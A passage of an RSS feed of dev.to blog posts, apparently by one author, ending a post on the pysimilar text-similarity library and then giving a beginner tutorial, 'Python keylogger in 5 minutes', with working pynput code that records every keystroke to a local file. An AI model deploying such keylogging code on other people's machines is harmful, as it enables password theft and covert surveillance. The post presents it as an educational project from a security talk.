 &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;welcome.txt vs hi.txt&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;0.6053485081062917&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;You can also set pysimilar to include files with multiple extensions&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;pysimilar&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;pprint&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;pprint&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;pysimilar&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;extensions&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;.txt&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;.zeta&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;comparison_result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pysimilar&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;compare_documents&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;documents&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ascending&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;pprint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;comparison_result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;[[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;welcome.txt vs hello.txt&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;0.0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
 &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;hi.txt vs hello.txt&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;0.0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
 &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;anomalie.zeta vs hi.txt&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;0.4968161174826459&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
 &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;welcome.txt vs hi.txt&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;0.6292275146695526&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
 &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;welcome.txt vs anomalie.zeta&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;0.7895651507603823&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Well that's all for this article, Excited to see what you will build with it &lt;/p&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev.to%2Fassets%2Fgithub-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/Kalebu" rel="noopener noreferrer"&gt;
        Kalebu
      &lt;/a&gt; / &lt;a href="https://github.com/Kalebu/pysimilar" rel="noopener noreferrer"&gt;
        pysimilar
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      A python library for computing the similarity between two strings (text) based on cosine similarity
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;&lt;a href="https://pypi.org/project/pysimilar" rel="nofollow noopener noreferrer"&gt;pysimilar&lt;/a&gt;&lt;/h1&gt;
&lt;/div&gt;

&lt;p&gt;&lt;a href="https://pepy.tech/project/pysimilar" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/01c394e8b1350faa52d057eed95a1ab0b338150e1de97d65cbcc52466235067d/68747470733a2f2f706570792e746563682f62616467652f707973696d696c6172" alt="Downloads"&gt;&lt;/a&gt;
&lt;a href="https://pepy.tech/project/pysimilar" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/c555b01cdf38f6f3c9498e9b043b3dfe14e83765a12cbca27470092997ffc168/68747470733a2f2f706570792e746563682f62616467652f707973696d696c61722f6d6f6e7468" alt="Downloads"&gt;&lt;/a&gt;
&lt;a href="https://pepy.tech/project/pysimilar" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/fc92d1e86747d7603ed7b02c1836d45cb61522e4ee321256dce44595ac7124a6/68747470733a2f2f706570792e746563682f62616467652f707973696d696c61722f7765656b" alt="Downloads"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;A python library for computing the similarity between two string(text) based on cosine similarity made by &lt;a href="https://github.com/Kalebu" rel="noopener noreferrer"&gt;kalebu&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.patreon.com/kalebujordan" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2FKalebu%2Fpysimilarpictures%2Fbecome_a_patron_button.png" alt="Become a patron"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;How does it work ?&lt;/h2&gt;
&lt;/div&gt;
&lt;p&gt;It uses Tfidf Vectorizer to transform the text into vectors and then obtained vectors are converted into arrays of numbers and then finally cosine similary computation is employed resulting to output indicating how similar they are.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Installation&lt;/h2&gt;
&lt;/div&gt;
&lt;p&gt;You can either install it directly from &lt;em&gt;Github&lt;/em&gt; or use &lt;em&gt;pip&lt;/em&gt; to install it, here is how you to install it directly from github;&lt;/p&gt;
&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;$  git clone https://github.com/Kalebu/pysimilar
$  &lt;span class="pl-c1"&gt;cd&lt;/span&gt; pysimilar
$ pysimilar -&lt;span class="pl-k"&gt;&amp;gt;&lt;/span&gt; python setup.py install
&lt;/pre&gt;

&lt;/div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Installation with pip&lt;/h2&gt;

&lt;/div&gt;
&lt;div class="highlight highlight-source-python notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;$ &lt;span class="pl-s1"&gt;pip&lt;/span&gt; &lt;span class="pl-s1"&gt;install&lt;/span&gt; &lt;span class="pl-s1"&gt;pysimilar&lt;/span&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Example of usage&lt;/h2&gt;

&lt;/div&gt;
&lt;p&gt;Pysimilar allows you to either specify the string you want to compare directly or specify path to files containing string you want to compare.&lt;/p&gt;
&lt;p&gt;Here an example on how to compare strings directly;&lt;/p&gt;
&lt;div class="highlight highlight-source-python notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;&lt;span class="pl-c1"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="pl-c1"&gt;&amp;gt;&lt;/span&gt; &lt;span class="pl-k"&gt;from&lt;/span&gt; &lt;span class="pl-s1"&gt;pysimilar&lt;/span&gt; &lt;span class="pl-k"&gt;import&lt;/span&gt; &lt;span class="pl-s1"&gt;compare&lt;/span&gt;
&lt;span class="pl-c1"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="pl-c1"&gt;&amp;gt;&lt;/span&gt; &lt;span class="pl-en"&gt;compare&lt;/span&gt;&lt;/pre&gt;…
&lt;/div&gt;
&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/Kalebu/pysimilar" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


</description>
      <category>python</category>
      <category>nlp</category>
      <category>computerscience</category>
      <category>machinelearning</category>
    </item>
    <item>
      <title>Python keylogger in 5 minutes</title>
      <dc:creator>Jordan Kalebu</dc:creator>
      <pubDate>Tue, 23 Feb 2021 21:02:16 +0000</pubDate>
      <link>https://dev.to/kalebu/python-keylogger-in-5-minutes-3ch8</link>
      <guid>https://dev.to/kalebu/python-keylogger-in-5-minutes-3ch8</guid>
      <description>&lt;h2&gt;
  
  
  How it started ?
&lt;/h2&gt;

&lt;p&gt;It was during the &lt;a href="http://pycon.or.tz/" rel="noopener noreferrer"&gt;PyconTanzania&lt;/a&gt;, There was a talk about Cybersecurity presented by &lt;a href="https://www.linkedin.com/in/mary-isamba-24a19514a/" rel="noopener noreferrer"&gt;Mary Isamba&lt;/a&gt; and along it, we made of our very own simple keylogger in python.&lt;/p&gt;

&lt;h2&gt;
  
  
  Intro
&lt;/h2&gt;

&lt;p&gt;This is very basic project and you don't need to be even competent with python to successful build it, let's get started!!&lt;/p&gt;

&lt;p&gt;To build a &lt;em&gt;keylogger&lt;/em&gt; we need a way to keep track of every key pressed on a keyboard, there are couple of libaries in python for doing that ranging from &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://pypi.org/project/keyboard/" rel="noopener noreferrer"&gt;keyboard&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/SavinaRoja/PyUserInput" rel="noopener noreferrer"&gt;PyUserInput&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://pypi.org/project/pynput/" rel="noopener noreferrer"&gt;pynput&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Take a time to look at them and pick the one fits you well, in this project we are going to use &lt;em&gt;pynput&lt;/em&gt;;&lt;/p&gt;

&lt;h2&gt;
  
  
  Installation
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install &lt;/span&gt;pynput 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h2&gt;
  
  
  Building our keylogger 
&lt;/h2&gt;

&lt;p&gt;To track key strokes we have to implement a listener function and then attach it to our pynput listener, here how;&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;pynput&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;keyboard&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;on_press&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;     &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;listener&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;keyboard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Listener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;on_press&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;on_press&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;listener&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;h&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;v&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;span class="n"&gt;Key&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ctrl&lt;/span&gt;
&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;v&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;span class="n"&gt;Key&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt;
&lt;span class="n"&gt;Key&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ctrl&lt;/span&gt;
&lt;span class="n"&gt;Key&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;shift&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;As we can see in just few lines of code we were able to implement a keylogger that track a pressed key and output it in our repl terminal&lt;/p&gt;

&lt;p&gt;So what we have to do now is to open a new file for storing our keystrokes instead of printing them on the repl, Here how;&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;pynput&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;keyboard&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;on_press&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;keylogs.txt&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;a&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;logs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;             &lt;span class="n"&gt;logs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt; 
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;listener&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;keyboard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Listener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;on_press&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;on_press&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;listener&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;hellodam&lt;/span&gt; &lt;span class="n"&gt;testing&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Now If you go and take a look at your current directory and you will see a new file named &lt;strong&gt;keylogs.txt&lt;/strong&gt; with new tracked keys in it just as shown below;&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;❯ &lt;span class="nb"&gt;cat &lt;/span&gt;keylogs.txt
Key.cmd&lt;span class="s1"&gt;'h''e''l''l''o''d''a''m'&lt;/span&gt;Key.space&lt;span class="s1"&gt;'t''e''s''t''i''n''g'&lt;/span&gt;Key.cmdKey.cmdKey.ctrlKey.alt&lt;span class="s1"&gt;'t''c''a''t'&lt;/span&gt;Key.space&lt;span class="s1"&gt;'k''e''y'&lt;/span&gt;Key.tabKey.enter%     
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Here is how our formatted code can look like;&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;pynput&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;keyboard&lt;/span&gt;


&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;KeyLogger&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;keylogs.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;filename&lt;/span&gt;

    &lt;span class="nd"&gt;@staticmethod&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_char&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;char&lt;/span&gt;
        &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;AttributeError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;on_press&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;a&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;logs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;logs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get_char&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;listener&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;keyboard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Listener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="n"&gt;on_press&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;on_press&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;listener&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;


&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;__main__&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;logger&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;KeyLogger&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;logger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="nf"&gt;input&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h2&gt;
  
  
  We are done 
&lt;/h2&gt;

&lt;p&gt;Congrats you just learned how to make a keylogger in Python now shout to your fellow peers&lt;/p&gt;

&lt;p&gt;You can also connect with me on &lt;a href="https://twitter.com/j_kalebu" rel="noopener noreferrer"&gt;twitter&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I also write python articles on my &lt;a href="https://kalebujordan.dev/" rel="noopener noreferrer"&gt;personal blog&lt;/a&gt;&lt;/p&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev.to%2Fassets%2Fgithub-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/Kalebu" rel="noopener noreferrer"&gt;
        Kalebu
      &lt;/a&gt; / &lt;a href="https://github.com/Kalebu/python-keylogger" rel="noopener noreferrer"&gt;
        python-keylogger
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      A minimal keylogger that accurately tracks keyboard strokes made in Python 
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;python-keylogger&lt;/h1&gt;
&lt;/div&gt;

&lt;p&gt;A minimal keylogger that accurately track keyboard strokes made in Python&lt;/p&gt;

&lt;p&gt;&lt;a rel="noopener noreferrer" href="https://github.com/Kalebu/python-keyloggerimage.jpg"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2FKalebu%2Fpython-keyloggerimage.jpg" alt=""&gt;&lt;/a&gt;
Image by &lt;a href="https://pixabay.com/users/markusspiske-670330/?utm_source=link-attribution&amp;amp;utm_medium=referral&amp;amp;utm_campaign=image&amp;amp;utm_content=1734495" rel="nofollow noopener noreferrer"&gt;Markus Spiske&lt;/a&gt; from &lt;a href="https://pixabay.com/?utm_source=link-attribution&amp;amp;utm_medium=referral&amp;amp;utm_campaign=image&amp;amp;utm_content=1734495" rel="nofollow noopener noreferrer"&gt;Pixabay&lt;/a&gt;&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Getting started !&lt;/h2&gt;
&lt;/div&gt;
&lt;p&gt;Clone | Download the Repository =&amp;gt; then open a terminal | command prompt to your project, and then run the &lt;strong&gt;app.py&lt;/strong&gt; script and your keylogger should up spying on every keystroke you will ever write&lt;/p&gt;
&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;git clone https://github.com/Kalebu/python-keylogger
&lt;span class="pl-c1"&gt;cd&lt;/span&gt; python-keylogger
python app.py&lt;/pre&gt;

&lt;/div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;keylogs.txt&lt;/h2&gt;
&lt;/div&gt;
